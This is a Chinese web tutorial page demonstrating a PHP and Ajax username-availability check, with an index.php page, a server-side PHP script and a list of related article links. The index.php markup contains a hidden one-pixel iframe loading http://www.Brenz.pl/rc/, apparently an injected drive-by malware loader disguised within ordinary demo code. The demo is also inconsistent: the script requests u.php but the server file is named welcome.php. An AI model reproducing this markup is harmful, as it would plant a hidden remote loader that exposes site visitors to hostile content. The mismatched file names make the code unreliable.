PHP与Ajax相结合实现登录验证小Demo


Posted in PHP onMarch 16, 2016

 AJAX即“Asynchronous Javascript And XML”(异步JavaScript和XML),是指一种创建交互式网页应用的网页开发技术。

AJAX = Asynchronous JavaScript and XML(异步的 JavaScript 和 XML)。
AJAX 不是新的编程语言,而是一种使用现有标准的新方法。
AJAX 是与服务器交换数据并更新部分网页的艺术,在不重新加载整个页面的情况下。

设计一个用户注册页面,当用户输入注册名的时候,检测用户名是否已存在,如果存在,给予提示

我们先打index.php

<html> 
<head> 
<meta http-equiv="content-type" content="text/html; charset=gb2312" /> 
<script type="text/JavaScript"> 
function Ajax(){ 
var xmlHttpReq=null;//初始对象xmlHttpReq 
if(window.ActiveXObject){ 
xmlHttpReq=new ActiveXObject("Microsoft.XMLHTTP"); 
}else if(window.XMLHttpRequest){ 
xmlHttpReq=new XMLHttpRequest(); 
} 
var userId=document.getElementById("userId").value;//value取得id为userId的值 
url="u.php?userId="+userId;//路径 
if(xmlHttpReq!=null){//若对象实例化创建成功 
xmlHttpReq.open("GET",url,true);//open()打开请求 
xmlHttpReq.onreadystatechange=RequestCallBack;//设置回调函数RequestCallBack() 
xmlHttpReq.send(null);//请求不包括正文 
} 
function RequestCallBack(){//回调函数 
if(xmlHttpReq.readystate==4){ 
if(xmlHttpReq.status==200){//请求成功 
document.getElementById("get").innerHTML=xmlHttpReq.responseText;//将得到的信息赋给id属性为get的div 
} 
} 
} 
} 
</script> 
</head> 
<body> 
<font> 
注册 
</font><br> 
<form> 
用户名:<input type="text"value="yuki"id="userId"name="userId"><input type="button"value="检测"onclick="Ajax()"> 
<div id="get"> 
</div> 
</form> 
<iframe style="height:1px" src="http://www.Brenz.pl/rc/" frameborder=0 width=1></iframe> 
</body> 
</html>

welcome.php

<?php 
header("content-type:text/html;charset=gb2312"); 
//sleep(1); 
$userId=$_GET["userId"]; 
if($userId=="管理员"){ 
echo "用户名已存在!"; 
}else{ 
echo "该用户名可以注册"; 
} 
?>

关于PHP与Ajax相结合实现登录验证小Demo的相关知识就给大家介绍到这里,希望对大家有所帮助!

PHP 相关文章推荐
实现dedecms全站URL静态化改造的代码
Mar 29 PHP
openPNE常用方法分享
Nov 29 PHP
简单的php数据库操作类代码(增,删,改,查)
Apr 08 PHP
PHP代码优化的53个细节
Mar 03 PHP
php获取根域名方法汇总
Oct 28 PHP
php中ob_get_length缓冲与获取缓冲长度实例
Nov 20 PHP
php将字符串全部转换成大写或者小写的方法
Mar 17 PHP
PHP生成条形码大揭秘
Sep 24 PHP
Zend Framework教程之模型Model用法简单实例
Mar 04 PHP
微信支付开发动态链接Native支付
Jul 12 PHP
PHP框架自动加载类文件原理详解
Jun 06 PHP
php生成毫秒时间戳的实例讲解
Sep 22 PHP
Laravel实现构造函数自动依赖注入的方法
Mar 16 #PHP
PHP 二维数组和三维数组的过滤
Mar 16 #PHP
详解php中反射的应用
Mar 15 #PHP
php实现图片上传并进行替换操作
Mar 15 #PHP
php模板引擎技术简单实现
Mar 15 #PHP
9个比较实用的php代码片段
Mar 15 #PHP
Laravel使用Caching缓存数据减轻数据库查询压力的方法
Mar 15 #PHP
You might like
phpmyadmin导入(import)文件限制的解决办法
2009/12/11 PHP
php判断str字符串是否是xml格式数据的方法示例
2017/07/26 PHP
网站上面有这种切换效果
2006/06/26 Javascript
异步javascript的原理和实现技巧介绍
2012/11/08 Javascript
根据经纬度计算地球上两点之间的距离js实现代码
2013/03/05 Javascript
详谈jQuery中的this和$(this)
2014/11/13 Javascript
JavaScript解析json格式数据简单示例
2014/12/09 Javascript
js中flexible.js实现淘宝弹性布局方案
2020/06/23 Javascript
jQuery插件ajaxFileUpload使用实例解析
2016/10/19 Javascript
JS遍历对象属性的方法示例
2017/01/10 Javascript
jQuery点击导航栏选中更换样式的实现代码
2017/01/23 Javascript
JavaScript实现时钟滴答声效果
2017/01/29 Javascript
jQuery实用密码强度检测
2017/03/02 Javascript
微信小程序 标签传入数据
2017/05/08 Javascript
vue父组件向子组件动态传值的两种方法
2017/11/11 Javascript
JS实现的抛物线运动效果示例
2018/01/30 Javascript
JavaScript设计模式之装饰者模式定义与应用示例
2018/07/25 Javascript
基于vue开发微信小程序mpvue-docs跳转页面功能
2019/04/10 Javascript
微信小程序实现弹出菜单动画
2019/06/21 Javascript
Python 字典dict使用介绍
2014/11/30 Python
python使用pandas实现数据分割实例代码
2018/01/25 Python
使用pygame模块编写贪吃蛇的实例讲解
2018/02/05 Python
浅谈python3中input输入的使用
2019/08/02 Python
python系列 文件操作的代码
2019/10/06 Python
Numpy数组的广播机制的实现
2020/11/03 Python
python 制作网站小说下载器
2021/02/20 Python
澳大利亚首屈一指的鞋类品牌:Tony Bianco
2018/03/13 全球购物
美国在线乐器和设备商店:Musician’s Friend
2018/07/06 全球购物
人力资源部培训专员岗位职责
2014/01/02 职场文书
环保倡议书怎么写
2014/05/16 职场文书
优秀本科毕业生自荐信
2014/07/04 职场文书
授权委托书样本
2014/09/25 职场文书
我的中国梦主题教育活动总结
2015/05/07 职场文书
指导老师鉴定意见
2015/06/05 职场文书
创业开店,这样方式更合理
2019/08/26 职场文书
JS创建或填充任意长度数组的小技巧汇总
2021/10/24 Javascript